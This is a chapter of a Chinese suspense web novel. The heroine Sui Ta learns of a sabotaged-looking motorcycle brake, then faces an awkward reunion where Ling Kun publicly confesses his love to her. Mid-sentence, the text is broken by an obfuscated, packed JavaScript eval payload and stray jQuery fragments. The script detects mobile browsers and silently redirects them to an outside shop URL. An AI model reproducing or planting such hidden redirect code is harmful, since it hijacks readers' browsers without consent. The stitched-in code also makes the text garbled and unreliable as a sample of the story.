22.第二十二只狗

作品:《抓狗大队[微悬疑]

    就在她一只脚迈出店门时,安泽像是突然想起了什么,冲着她的背影提高嗓门问道:“哎,对了隋塔!你那辆KTM,后来到底放哪儿去了?我还真挺想再见见的,那可是个经典玩意儿!”


    他顿了顿,努力回忆着细节:“我记得……最后是一个长得特别高的男的,把车骑到我这儿来的。当时他说车的刹车不太灵光,时好时坏的。我检查了,是刹车泵的问题,就跟他说,要是换原厂件修起来可不便宜。那哥们儿估计是嫌贵,咂咂嘴,也没修,自己又把车推走了。后来我再也没见过你,也没顾上问,那男的跟你啥关系啊?”


    这番话,如同一声惊雷,在隋塔耳边炸开。


    她瞬间如坠冰窟,浑身的血液似乎都凝固了。


    猛地转身,声音因为极度的惊骇和急迫而有些变调:“什么时候的事?!他什么时候推车来的?”


    安泽被她的反应吓了一跳,挠了挠满是油污的头发,努力思考着:


    “具体啥时候……真记不清了。就记得你那会儿好像还在上大二?反正是那年的秋天还是冬天来着?对,就是刹车出问题,时灵时不灵的那阵子。从那以后,我就再也没见过你过来修车了。”


    隋塔整个人彻底呆立在原地,仿佛被施了定身咒。一股巨大的麻木感从脚底迅速蔓延至全身,心脏却像是要挣脱胸腔般疯狂擂动,撞击得她耳膜嗡嗡作响,呼吸变得急促而困难,眼前甚至开始阵阵发黑。


    她颤抖着手,几乎是慌乱地解锁手机,指尖在屏幕上滑动时都不听使唤。


    她拼命翻找,终于调出了一张多年前和陵坤的合影,将屏幕猛地递到安泽眼前,声音带着自己都未察觉的颤抖:


    “是……是他吗?”


    安泽凑近仔细看了看照片上那个笑容阳光、身形挺拔的年轻人,肯定地点点头:


    “对,就是他!这大高个,长得巨帅,我印象特别深。就是人也是真抠门儿,原装的刹车都舍不得修,这多危险呐……”


    安泽后面还絮叨了些什么,隋塔已经完全听不见了。


    同学会的地点选在朝阳区一家颇为气派的饭店。


    大多数同学都先回了趟母校,沿着熟悉的林荫道追忆了一番青葱岁月,才三五成群地陆续来到餐厅。


    隋塔没敢去学校,那片对她而言过于沉重。


    当她独自赶到饭店时,包厢里早已座无虚席,喧嚣的热浪夹杂着各种目光瞬间将她淹没。


    那些视线如同探照灯,明晃晃地打在她身上,带着毫不掩饰的审视、好奇,甚至还有一丝若有若无的批判。


    她只想尽快找个不起眼的角落把自己藏起来。


    然而,陵辛和陵坤一眼就看到了她。两人脸上非但没有丝毫芥蒂,反而露出了极为真切、热烈的笑容。


    陵辛更是热情地朝她用力挥手,声音穿过嘈杂:


    “隋塔!这边,快过来!我们特意给你留了位置!”


    她手指的方向,正是陵坤旁边的那个空座。


    隋塔脚步一滞,内心涌起强烈的抗拒,下意识地想摇头拒绝。可还没等她开口,陵坤已经站起身,大步流星地走到她面前,伸手轻轻握住她的胳膊,几乎是半推半请地,将她安置在了自己身旁的座位上。


    他手掌传来的温度和那份过分的熟稔,让隋塔身体微微一僵。这个动作在旁人看来,亲昵得有些逾越了此刻他们之间应有的界限,也让她坐立难安。


    陵坤今天显然是花了心思的。他上身是一件剪裁极佳的深色紧身短袖,勾勒出常年锻炼留下的结实线条,下身搭配着质感硬朗的直筒牛仔裤,脚上一双擦得锃亮的黑色皮靴,整个人显得格外挺拔利落。


    这身装扮无疑吸引了在场不少女同学的目光——或明或暗的视线,带着欣赏与探究,不时地从不同角落扫向他。


    陵坤的注意力却始终牢牢系在身旁的隋塔身上。他看似随意地与旁人谈笑,身体却微微倾向隋塔的方向,希望能引起她的注意,哪怕只是一个打量或是一句简单的评价。


    然而,隋塔只是固执地垂着眼眸,她用一种近乎消极的沉默,将自己与周遭的热闹隔绝开来。


    桌上,同学们推杯换盏,聊得热火朝天。


    毕业数年,大部分人循着警校的轨迹进入了公安系统,有的则进了纪委或其他政府机关,端上了众人眼中的“铁饭碗”。还有一小部分觉得体制内收入有限,早早下海经商,如今也混得风生水起。


    总之,在座的各位,日子似乎都过得有模有样,前程似锦。


    ——除了隋塔。她坐在那片热闹与成功的中心,却感觉自己像个褪色的影子,与周遭的一切格格不入。


    见隋塔一直沉默地坐在那儿,兄妹俩却仿佛有某种默契,你一筷子清蒸鲈鱼,我一勺蟹粉豆腐,争先恐后地往隋塔面前的盘子里添菜。


    不到十分钟,她盘子里已然摞起一座冒着热气的小山。


    “真的够了,”隋塔终于忍不住,声音有些干涩地开口,“谢谢,我自己来就好。这么多……我吃不完的。”


    她看着那座“小山”,胃里却一阵发紧,毫无食欲。


    陵坤闻言,放下公筷,目光落在隋塔纤细的手腕和清晰可见的锁骨上,眼神里流露出毫不掩饰的心疼。


    “隋塔,你太瘦了,”他叹了口气,语气带着一种近乎亲昵的责备,“真该多吃点。说实话,从毕业到现在,我就没见你体重正常过。倒是上学那会儿,虽然也瘦,但气色好多了。”


    他顿了顿,半开玩笑半认真地说,声音不大,却足以让临近的几个人听见:“我说,你真该找个人,好好照顾你了。”


    隋塔握着筷子的指尖微微收紧。


    对于陵辛和陵坤这种反常的、近乎诡异的热忱,隋塔不是没有过怀疑。这太不合常理了。她是那场悲剧的直接责任人,按理说,作为被害人和被害人家属,他们就算不恨她入骨,也至少该是冷漠疏离,形同陌路。


    可现实恰恰相反。


    他们不仅没有流露出半分恨意,反而一次次地将她拉回他们的生活圈,用这种过度的关心将她包裹起来。


    更让她感到不安的是,兄妹俩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933410|191966||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    似乎有意无意间,总在暗示着自己要接受陵坤的好意,和他在一起。


    陵辛也跟着劝道:“你跟我哥都要三十了,这个年纪也应该考虑结婚的事情了,我哥这几年其实也一直没找过女朋友……”


    陵辛话还没说完,就被另一个同学打断了。


    “她毁了小辛的一辈子,现在还想结婚过正常日子?是不是太不要脸了!”


    说话的是煜陶,陵辛大学时形影不离的闺蜜。


    自从那场变故发生后,她一直是骂隋塔最凶、最不留情面的人之一,此刻更是横眉冷对,目光如刀般剐向始终低着头的隋塔,话语里的蔑视毫不掩饰。


    尖锐的指责如同预期般落下,隋塔的身体几不可察地僵了一下,随即又恢复了那种近乎麻木的顺从。


    她没有抬头,没有辩解,只是将头垂得更低,仿佛早已习惯了这种公开的审判,准备像过去无数次那样,沉默地承受所有倾泻而来的批判和怒火。


    然而,这一次,有人挡在了她的前面。


    “煜陶!”陵辛的声音陡然拔高,她甚至“啪”地一声放下了筷子,引得全桌瞬间安静下来。


    “她没有不要脸!”陵辛的目光直直看向煜陶,语气斩钉截铁,“你根本不知道,这些年她是怎么过的!她拼了命地工作赚钱,把几乎所有的收入都拿来赔偿我,她从来没有推卸过责任!”


    她深吸一口气,环视了一圈桌上神色各异的同学,声音因激动而有些发颤:


    “出事能怪她吗?那是意外!是她想发生的吗?她也是受害者之一!还有,这是我的事,我才是当事人吧?你们在这里指手画脚、替我感到不忿,问过我的感受吗?”


    李煜陶没想到自己好心为陵辛说话,却换来她的指责。


    她冷笑一声,好像是对自己的嘲笑,忽而又抬头看向隋塔,咬牙切齿的说道。


    “你命真好,在你犯错的情况下还这么多人喜欢你。那祝你往后幸福,前程似锦!”


    “她往后的日子,一定会幸福的!”


    陵坤的声音斩钉截铁,他忽地站起身,动作带着几分急切,不由分说地伸手,紧紧搂住了隋塔的肩膀。


    “我会一直爱她,用我的整个余生来对她好,补偿她过去受的所有苦。所以隋塔,你愿意和我在一起吗?让我来照顾你。”


    对于陵坤这番近乎道德绑架的表白,隋塔并未感到十分意外,这些时日以来的种种暗示已让她有所预感。


    然而,预感到不代表能接受。一股源自心底最深处的、全然的本能抗拒瞬间袭来,她理不清这强烈排斥感的具体缘由,但身体先于理智做出了反应——只想立刻远离这个看似深情、却让她倍感压力的男人。


    尽管陵坤条件优越,从大学起就对她一往情深,在旁人眼中几乎是无可挑剔的选择,可隋塔就是无法说服自己。


    她几乎是触电般地,用力甩开了陵坤搭在她肩上的手。


    “对不起,我……”


    然而,话音未落,包厢门却突然被推开。


    季陲安就站在门口。